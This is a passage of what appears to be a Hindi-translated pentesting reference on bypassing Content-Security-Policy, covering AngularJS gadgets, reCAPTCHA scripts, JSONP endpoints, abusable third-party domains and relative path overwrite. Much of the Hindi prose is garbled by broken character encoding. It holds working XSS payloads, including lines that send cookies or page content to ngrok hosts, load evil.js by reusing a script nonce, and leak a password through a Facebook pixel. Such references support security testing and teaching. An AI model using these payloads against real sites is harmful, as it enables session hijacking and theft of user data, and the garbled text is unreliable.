рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрднрд╛рд╡рд┐рдд рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдорд╛рдиреНрдп рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдЖрдкрдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрд░рдХрд╛рд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рднрд▓реЗ рд╣реА рдЖрдк рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХреА рдЧрдИ рдПрдХреНрд╕рдЯреЗрдВрд╢рди (рдЬреИрд╕реЗ: script.png) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ JS рдХреЛрдб рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХреЗрдВ, рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рд╕рд░реНрд╡рд░ рдЬреИрд╕реЗ рдЕрдкрд╛рдЪреЗ рд╕рд░реНрд╡рд░ рдлрд╛рдЗрд▓ рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ MIME рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ рдФрд░ Chrome рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ Javascript рдХреЛрдб рдХреЛ рдХреБрдЫ рдРрд╕рд╛ рдХрд░рдиреЗ рд╕реЗ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░ рджреЗрдВрдЧреЗ рдЬреЛ рдПрдХ рдЫрд╡рд┐ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред "рдЙрдореНрдореАрдж рд╣реИ", рд╡рд╣рд╛рдБ рдЧрд▓рддрд┐рдпрд╛рдБ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ CTF рд╕реЗ рдореИрдВрдиреЗ рд╕реАрдЦрд╛ рдХрд┐ Apache рдХреЛ _.wave**_ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЗрд╕реЗ MIME рдкреНрд░рдХрд╛рд░ рдЬреИрд╕реЗ audio/* рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рдпрд╣рд╛рдВ рд╕реЗ, рдпрджрд┐ рдЖрдк рдПрдХ XSS рдФрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдкрд╛рддреЗ рд╣реИрдВ, рдФрд░ рдЖрдк рдПрдХ рдЧрд▓рдд рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛, рдпрджрд┐ рд╕рд░реНрд╡рд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╣реА рдкреНрд░рд╛рд░реВрдк рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдПрдХ рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдмрдирд╛рдПрдВ (рдХреБрдЫ рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ)ред
Form-action
рдпрджрд┐ JS рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдлреЙрд░реНрдо рдПрдХреНрд╢рди рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рд╢рд╛рдпрдж рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдмрдВрдзрдХреЛрдВ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдСрдЯреЛ-рдлрд┐рд▓ рдХрд░рдиреЗ рдХреА рдЙрдореНрдореАрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред рдЖрдк рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ default-src
рдлреЙрд░реНрдо рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
рдХреБрдЫ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП unsafe-eval
рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
рдПрдХ рдХрдордЬреЛрд░ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдПрдВрдЧреБрд▓рд░ рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдордирдорд╛рдирд╛ JS рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП Payloads + рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬрд┐рд╕рдореЗрдВ рдРрд╕реЗ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ рдЬреЛ window
рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ (рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЛ рджреЗрдЦреЗрдВ):
{% hint style="info" %}
рдкреЛрд╕реНрдЯ рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ рдЖрдк cdn.cloudflare.com
(рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЕрдиреБрдордд JS рдкреБрд╕реНрддрдХрд╛рд▓рдп рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА) рд╕реЗ рд╕рднреА рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рддреНрдпреЗрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╕реЗ рд╕рднреА рдЬреЛрдбрд╝реЗ рдЧрдП рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдХрд┐рд╕ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╕реЗ window
рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВред
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS рдПрдХ рдХреНрд▓рд╛рд╕ рдирд╛рдо рд╕реЗ:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Google reCAPTCHA JS рдХреЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ
рдЗрд╕ CTF рд▓реЗрдЦ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдк CSP рдХреЗ рднреАрддрд░ https://www.google.com/recaptcha/ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдордирдЪрд╛рд╣рд╛ JS рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
рдЕрдзрд┐рдХ рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рдкреЗрд▓реЛрдбреНрд╕:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
www.google.com рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд URL example.com рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ (рдпрд╣рд╛рдВ рд╕реЗ рдпрд╣рд╛рдВ):
https://www.google.com/amp/s/example.com/
Abusing *.google.com/script.google.com
Google Apps Script рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ script.google.com рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреГрд╖реНрда рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХреЗред рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕реЗ рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
Third Party Endpoints + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдп рдЬрд╣рд╛рдВ script-src
рдХреЛ self
рдФрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, JSONP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред JSONP рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЙрд▓рдмреИрдХ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ XSS рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЗ CSP рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ JSONP рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред
рдпрджрд┐ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рдореЗрдВ рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реИ, рддреЛ рд╡рд╣реА рднреЗрджреНрдпрддрд╛ рдЙрддреНрдкрдиреНрди рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИ, рддреЛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рднреА рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИрдВред
рдерд░реНрдб рдкрд╛рд░реНрдЯреА рджреБрд░реБрдкрдпреЛрдЧ
рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╣реИ, рдХрдИ рдерд░реНрдб рдкрд╛рд░реНрдЯреА рдбреЛрдореЗрди рд╣реИрдВ, рдЬреЛ CSP рдореЗрдВ рдХрд╣реАрдВ рди рдХрд╣реАрдВ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╣реИрдВ:
Entity | Allowed Domain | Capabilities |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рд▓рдХреНрд╖реНрдп рдХреЗ CSP рдореЗрдВ рдХрд┐рд╕реА рднреА рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдбреЛрдореЗрди рдХреЛ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЖрдк рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╕реЗрд╡рд╛ рдкрд░ рдкрдВрдЬреАрдХрд░рдг рдХрд░рдХреЗ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░, рдпрд╛ рддреЛ рдЙрд╕ рд╕реЗрд╡рд╛ рдкрд░ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд CSP рдкрд╛рддреЗ рд╣реИрдВ:
Content-Security-PolicyтАЛ: default-src 'selfтАЩ www.facebook.com;тАЛ
рдпрд╛
Content-Security-PolicyтАЛ: connect-src www.facebook.com;тАЛ
рдЖрдкрдХреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ рд╣рдореЗрд╢рд╛ Google Analytics/Google Tag Manager рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдк рдЗрди рд╕рд╛рдорд╛рдиреНрдп рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реИрдВ:
- рдпрд╣рд╛рдВ рдПрдХ Facebook Developer рдЦрд╛рддрд╛ рдмрдирд╛рдПрдВред
- рдПрдХ рдирдпрд╛ "Facebook Login" рдРрдк рдмрдирд╛рдПрдВ рдФрд░ "Website" рдЪреБрдиреЗрдВред
- "Settings -> Basic" рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЕрдкрдирд╛ "App ID" рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред
- рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░, рдЬрд┐рд╕рд╕реЗ рдЖрдк рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЖрдк "customEvent" рдФрд░ рдбреЗрдЯрд╛ рдкреЗрд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Facebook SDK рдЧреИрдЬреЗрдЯ "fbq" рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
- рдЕрдкрдиреЗ рдРрдк "Event Manager" рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЙрд╕ рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдмрдирд╛рдпрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╡реЗрдВрдЯ рдореИрдиреЗрдЬрд░ рдПрдХ URL рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рд╣реИ: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
- "Test Events" рдЯреИрдм рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рддрд╛рдХрд┐ "рдЖрдкрдХреА" рд╡реЗрдмрд╕рд╛рдЗрдЯ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЬрд╛ рд░рд╣реЗ рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗред
рдлрд┐рд░, рдкреАрдбрд╝рд┐рдд рдкрдХреНрд╖ рдкрд░, рдЖрдк Facebook рдЯреНрд░реИрдХрд┐рдВрдЧ рдкрд┐рдХреНрд╕реЗрд▓ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ Facebook рдбреЗрд╡рд▓рдкрд░ рдЦрд╛рддрд╛ рдРрдк-рдЖрдИрдбреА рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдПрдХ рдХрд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
fbq('init', '1279785999289471');тАЛ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{тАЛ
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"тАЛ
});
рдЬреИрд╕реЗ рдХрд┐ рдкрд┐рдЫрд▓реЗ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдиреНрдп рд╕рд╛рдд рддреГрддреАрдп-рдкрдХреНрд╖ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдХрдИ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВред рдЕрдиреНрдп рддреГрддреАрдп-рдкрдХреНрд╖ рджреБрд░реБрдкрдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рдХреЗ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХреЛ рджреЗрдЦреЗрдВред
RPO (Relative Path Overwrite) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕
рдкрде рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрд░реЛрдХреНрдд рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдПрдХ рдФрд░ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕реЗ Relative Path Overwrite (RPO) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ CSP рдкрде https://example.com/scripts/react/
рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЕрдВрддрддрдГ https://example.com/scripts/angular/angular.js
рдХреЛ рд▓реЛрдб рдХрд░реЗрдЧрд╛ред
рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП, рдЖрдк https://example.com/scripts/react/
рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд╕реНрдерд┐рдд ..%2fangular%2fangular.js
рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреЛ CSP рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред
тИС, рд╡реЗ рдЗрд╕реЗ рдбрд┐рдХреЛрдб рдХрд░реЗрдВрдЧреЗ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ https://example.com/scripts/react/../angular/angular.js
рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВрдЧреЗ, рдЬреЛ https://example.com/scripts/angular/angular.js
рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред
рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ URL рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдЗрд╕ рдЕрд╕рдВрдЧрддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░, рдкрде рдирд┐рдпрдореЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ %2f
рдХреЛ /
